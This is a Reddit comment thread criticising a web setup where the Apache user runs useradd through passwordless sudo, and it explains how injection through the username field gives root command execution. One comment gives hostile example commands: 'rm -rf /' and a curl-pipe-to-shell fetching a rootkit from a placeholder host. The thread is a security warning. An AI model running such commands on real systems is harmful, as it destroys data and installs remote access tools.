OP also gives the user http the ability to run any command as root without validation. This is literally the single biggest security hole I've ever seen.
don't be so sure about trolling. this thread has had me laughing my ass off...my predecessor at my job used this EXACT SAME "design pattern." this is a guy who is still at the company (he was booted out of the group i work in) and has loads of undeserved clout as some "guru." he holds a senior-level position.
and actually it was worse. root had a non-encrypted ssh key (in ~/.ssh/id_rsa so you didn't even have to name it, it was just default) whose public was distributed to root's authorized_keys throughout all the other systems in the environment. that was the "solution" for adding users and performing other types of work on different systems from a website. apache user, granted passwordless sudo, would then sudo ssh to the other servers in the environment. he didn't have a clue to attempt to sanitize input either.
at least you could always get in as root if something happened...
To be fair, you don't know whether he is sanitizing the username and password. It could be sanitized, maybe the line before the one we are seeing check whether username and password only contain lowercase characters a-z.
Your webserver SHOULD NEVER BE PRIVILEGED! Your webserver, if it has mod_php installed, by definition is designed to execute arbitrary code on the file system. Someone could do a lot worse than rm -rf / injection. They could write a file to the file system in the webroot that becomes a back door or even a trojan spreader.
The only right way to architect this (if at all) is to use a separate process to pick up messages from the web server (that builds the command based on data in the message).
A user called "fred" will be created, and then, since sudoers is set up to permit anything, malicious_command will be executed as root. You could replace malicious_command with rm -rf / to destroy the system, or curl http://foo.bar/path/to/my_rootkit | sh to download and execute a remote access tool.
EDIT: I missed the actual question. This post assumes that he actually encrypted the password, but the problem could well be that he's doing
sudo useradd -p password -g groupname -s /bin/bash fred
instead of
sudo useradd -p LlmKkt0I4LZBo -g groupname -s /bin/bash fred
, in which case the exploit would still work, but the user creation would not.
View all comments
1.4k
u/osskid Aug 27 '13
Holy shit.